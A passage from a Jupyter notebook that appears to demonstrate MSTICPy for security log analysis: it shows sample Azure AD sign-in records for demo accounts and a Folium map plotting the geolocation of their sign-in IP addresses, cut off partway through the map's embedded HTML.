       "4                  none      none  Windows Azure Service Management API   \n",
       "\n",
       "                       ResourceIdentity ServicePrincipalId  \\\n",
       "0  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "1  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "2  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "3  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "4  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "\n",
       "  ServicePrincipalName            Status  TokenIssuerName TokenIssuerType  \\\n",
       "0                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "1                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "2                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "3                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "4                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "0  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "1  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "3  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "4  Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safa...   \n",
       "\n",
       "  UserDisplayName                                UserId  \\\n",
       "0        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "1        Zack Von  2566a1a6-4d03-40d2-8836-6c8cf1ce517f   \n",
       "2        Zack Von  2566a1a6-4d03-40d2-8836-6c8cf1ce517f   \n",
       "3        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "4        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "\n",
       "       UserPrincipalName                           AADTenantId        Type  \\\n",
       "0  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "1      zvon@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "2      zvon@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "3  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "4  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "\n",
       "   Result   Latitude   Longitude  \n",
       "0  Sucess  42.997181  -86.848312  \n",
       "1  Sucess  48.614380 -121.110313  \n",
       "2  Sucess  48.614380 -121.110313  \n",
       "3  Sucess  42.997181  -86.848312  \n",
       "4  Sucess  41.465630  -73.610718  \n",
       "\n",
       "[5 rows x 62 columns]"
      ]
     },
     "execution_count": 22,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Plot IP geolocation on a map\n",
    "loc_data = qry_prov.Azure.list_all_signins_geo()\n",
    "loc_data.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Before we can plot the data we need to format the raw data into a known format. MSTICPy has a number of [defined entities](https://msticpy.readthedocs.io/en/latest/msticpy.datamodel.html?highlight=entitie), one of which is `Ip`. The entity has a location property, so by mapping the columns in our data to the properties of these entities we can easily format the whole dataset in a series of entities.\n",
    "\n",
    "From there we can then using MSTICPy's [`FoliumMap`](https://msticpy.readthedocs.io/en/latest/visualization/FoliumMap.html) feature to plot these entities on a map."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div style=\"width:100%;\"><div style=\"position:relative;width:100%;height:0;padding-bottom:60%;\"><span style=\"color:#565656\">Make this Notebook Trusted to load map: File -> Trust Notebook</span><iframe src=\"about:blank\" style=\"position:absolute;width:100%;height:100%;left:0;top:0;border:none !important;\" data-html=%3C%21DOCTYPE%20html%3E%0A%3Chead%3E%20%20%20%20%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%20/%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20L_NO_TOUCH%20%3D%20false%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20L_DISABLE_3D%20%3D%20false%3B%0A%20%20%20%20%20%20%20%20%3C/script%3E%0A%20%20%20%20%0A%20%20%20%20%3Cstyle%3Ehtml%2C%20body%20%7Bwidth%3A%20100%25%3Bheight%3A%20100%25%3Bmargin%3A%200%3Bpadding%3A%200%3B%7D%3C/style%3E%0A%20%20%20%20%3Cstyle%3E%23map%20%7Bposition%3Aabsolute%3Btop%3A0%3Bbottom%3A0%3Bright%3A0%3Bleft%3A0%3B%7D%3C/style%3E%0A%20%20%20%20%3Cscript%20src%3D%22https%3A//cdn.jsdelivr.net/npm/leaflet%401.6.0/dist/leaflet.js%22%3E%3C/script%3E%0A%20%20%20%20%3Cscript%20src%3D%22https%3A//code.jquery.com/jquery-1.12.4.min.js%22%3E%3C/script%3E%0A%20%20%20%20%3Cscript%20src%3D%22https%3A//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js%22%3E%3C/script%3E%0A%20%20%20%20%3Cscript%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/Leaflet.awesome-markers/2.0.2/leaflet.awesome-markers.js%22%3E%3C/script%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//cdn.jsdelivr.net/npm/leaflet%401.6.0/dist/leaflet.css%22/%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css%22/%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap-theme.min.css%22/%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css%22/%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/Leaflet.awesome-markers/2.0.2/leaflet.awesome-markers.css%22/%3E%0A%20%20%20%20%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//cdn.jsdelivr.net/gh/python-visualization/folium/folium/templates/leaflet.awesome.rotate.min.css%22/%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20initial-scale%3D1.0%2C%20maximum-scale%3D1.0%2C%20user-scalable%3Dno%22%20/%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23map_162f937fe2e745ecb245bca6c1868a94%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20position%3A%20relative%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20width%3A%20100.0%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20height%3A%20100.0%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20left%3A%200.0%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20top%3A%200.0%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C/style%3E%0A%20%20%20%20%20%20%20%20%0A%3C/head%3E%0A%3Cbody%3E%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22folium-map%22%20id%3D%22map_162f937fe2e745ecb245bca6c1868a94%22%20%3E%3C/div%3E%0A%20%20%20%20%20%20%20%20%0A%3C/body%3E%0A%3Cscript%3E%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20map_162f937fe2e745ecb245bca6c1868a94%20%3D%20L.map%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22map_162f937fe2e745ecb245bca6c1868a94%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20center%3A%20%5B51.6406517%2C%206.572050095%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20crs%3A%20L.CRS.EPSG3857%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20zoom%3A%202%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20zoomControl%3A%20true%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20preferCanvas%3A%20false%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20tile_layer_ebb19c251ab74bfbb78b0151eaaf7c0f%20%3D%20L.tileLayer%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22https%3A//%7Bs%7D.tile.openstreetmap.org/%7Bz%7D/%7Bx%7D/%7By%7D.png%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22attribution%22%3A%20%22Data%20by%20%5Cu0026copy%3B%20%5Cu003ca%20href%3D%5C%22http%3A//openstreetmap.org%5C%22%5Cu003eOpenStreetMap%5Cu003c/a%5Cu003e%2C%20under%20%5Cu003ca%20href%3D%5C%22http%3A//www.openstreetmap.org/copyright%5C%22%5Cu003eODbL%5Cu003c/a%5Cu003e.%22%2C%20%22detectRetina%22%3A%20false%2C%20%22maxNativeZoom%22%3A%2018%2C%20%22maxZoom%22%3A%2018%2C%20%22minZoom%22%3A%200%2C%20%22noWrap%22%3A%20false%2C%20%22opacity%22%3A%201%2C%20%22subdomains%22%3A%20%22abc%22%2C%20%22tms%22%3A%20false%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_09b1617f7aab4a27bfc6385c8c31cdec%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B42.99718094%2C%20-86.84831238%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_5b3b37180e464ff3b87e7a73998f56cb%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_09b1617f7aab4a27bfc6385c8c31cdec.setIcon%28icon_5b3b37180e464ff3b87e7a73998f56cb%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_c517df971cdf458bb0fe81720aa86b3d%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_acf71bebde82451b8e31d64f2c421cd3%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_acf71bebde82451b8e31d64f2c421cd3%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-86.84831238%2C%20Latitude%3D42.99718094%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2024.13.212.221%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_c517df971cdf458bb0fe81720aa86b3d.setContent%28html_acf71bebde82451b8e31d64f2c421cd3%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_09b1617f7aab4a27bfc6385c8c31cdec.bindPopup%28popup_c517df971cdf458bb0fe81720aa86b3d%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_09b1617f7aab4a27bfc6385c8c31cdec.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2042.99718094%2C%20-86.84831238%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_1f3dd0ac4abd41449236c78db783d509%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B48.61437988%2C%20-121.1103134%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_282d6798002e42a3bca6e568020e468e%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_1f3dd0ac4abd41449236c78db783d509.setIcon%28icon_282d6798002e42a3bca6e568020e468e%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_8262948b77744dcbbfa0c7c2bdd1488a%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_da2cc412f4a1497ebfc933b794d713dc%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_da2cc412f4a1497ebfc933b794d713dc%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-121.1103134%2C%20Latitude%3D48.61437988%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2024.16.133.227%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_8262948b77744dcbbfa0c7c2bdd1488a.setContent%28html_da2cc412f4a1497ebfc933b794d713dc%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_1f3dd0ac4abd41449236c78db783d509.bindPopup%28popup_8262948b77744dcbbfa0c7c2bdd1488a%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_1f3dd0ac4abd41449236c78db783d509.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2048.61437988%2C%20-121.1103134%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_68246b7f68634cf880e97e61865d131d%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B48.61437988%2C%20-121.1103134%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_079c3ee43d9a45d18dedac8bd24b5ebe%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_68246b7f68634cf880e97e61865d131d.setIcon%28icon_079c3ee43d9a45d18dedac8bd24b5ebe%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_60e598bd2d1b45069873c1fa1519549b%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_d6defa53445f47ef859b209949a22d72%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_d6defa53445f47ef859b209949a22d72%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-121.1103134%2C%20Latitude%3D48.61437988%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2024.16.133.227%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_60e598bd2d1b45069873c1fa1519549b.setContent%28html_d6defa53445f47ef859b209949a22d72%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_68246b7f68634cf880e97e61865d131d.bindPopup%28popup_60e598bd2d1b45069873c1fa1519549b%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_68246b7f68634cf880e97e61865d131d.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2048.61437988%2C%20-121.1103134%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_689734d9f0a14832ba34790cd288c271%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B42.99718094%2C%20-86.84831238%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_a927d0263e05447ba62da51869eb02fa%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_689734d9f0a14832ba34790cd288c271.setIcon%28icon_a927d0263e05447ba62da51869eb02fa%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_89a42598233a43f2a86d0cc95a253dd7%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_e9855bee8e684993aa008dcdee57b9fb%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_e9855bee8e684993aa008dcdee57b9fb%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-86.84831238%2C%20Latitude%3D42.99718094%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2024.13.212.221%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_89a42598233a43f2a86d0cc95a253dd7.setContent%28html_e9855bee8e684993aa008dcdee57b9fb%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_689734d9f0a14832ba34790cd288c271.bindPopup%28popup_89a42598233a43f2a86d0cc95a253dd7%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_689734d9f0a14832ba34790cd288c271.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2042.99718094%2C%20-86.84831238%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_ad904ce0b5ba42bebc8d34333d84421d%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B41.46562958%2C%20-73.61071777%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_c1399b448ef742229f69e182b94cb5fb%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_ad904ce0b5ba42bebc8d34333d84421d.setIcon%28icon_c1399b448ef742229f69e182b94cb5fb%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_39030c38dd9e41e08f10074ef5189c5c%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_6158782ad91f40b7b5f94aab34d73c3d%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_6158782ad91f40b7b5f94aab34d73c3d%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-73.61071777%2C%20Latitude%3D41.46562958%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2073.226.223.252%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_39030c38dd9e41e08f10074ef5189c5c.setContent%28html_6158782ad91f40b7b5f94aab34d73c3d%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_ad904ce0b5ba42bebc8d34333d84421d.bindPopup%28popup_39030c38dd9e41e08f10074ef5189c5c%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_ad904ce0b5ba42bebc8d34333d84421d.bindTooltip%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%60%3Cdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2041.46562958%2C%20-73.61071777%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%60%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22sticky%22%3A%20true%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20marker_36c70a09436048eb836f8195b8c49f19%20%3D%20L.marker%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5B41.46562958%2C%20-73.61071777%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29.addTo%28map_162f937fe2e745ecb245bca6c1868a94%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20icon_4e59821b025f478a9aac22ae1d754409%20%3D%20L.AwesomeMarkers.icon%28%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%22extraClasses%22%3A%20%22fa-rotate-0%22%2C%20%22icon%22%3A%20%22info-sign%22%2C%20%22iconColor%22%3A%20%22white%22%2C%20%22markerColor%22%3A%20%22blue%22%2C%20%22prefix%22%3A%20%22glyphicon%22%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_36c70a09436048eb836f8195b8c49f19.setIcon%28icon_4e59821b025f478a9aac22ae1d754409%29%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20var%20popup_02bf4819c40f4e8990b2ce3e895a5573%20%3D%20L.popup%28%7B%22maxWidth%22%3A%20%22100%25%22%7D%29%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20html_724ef177a60f4cccba6e668611d6e256%20%3D%20%24%28%60%3Cdiv%20id%3D%22html_724ef177a60f4cccba6e668611d6e256%22%20style%3D%22width%3A%20100.0%25%3B%20height%3A%20100.0%25%3B%22%3ELongitude%3D-73.61071777%2C%20Latitude%3D41.46562958%2C%20TimeGenerated%3D2022-04-20%2001%3A31%3A06.760244%2C%20Type%3Dgeolocation%3Cbr%3EIP%3A%2073.226.223.252%3C/div%3E%60%29%5B0%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20popup_02bf4819c40f4e8990b2ce3e895a5573.setContent%28html_724ef177a60f4cccba6e668611d6e256%29%3B%0A%20%20%20%20%20%20%20%20%0A%0A%20%20%20%20%20%20%20%20marker_36c70a09436048eb836f8195b8c49f19.bindPopup%28popup_02bf4819c40f4e8990b2ce3e895a5573%29%0A%20%20%20%20%20%20%20%20%3B%0A%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20marker_36c70a09436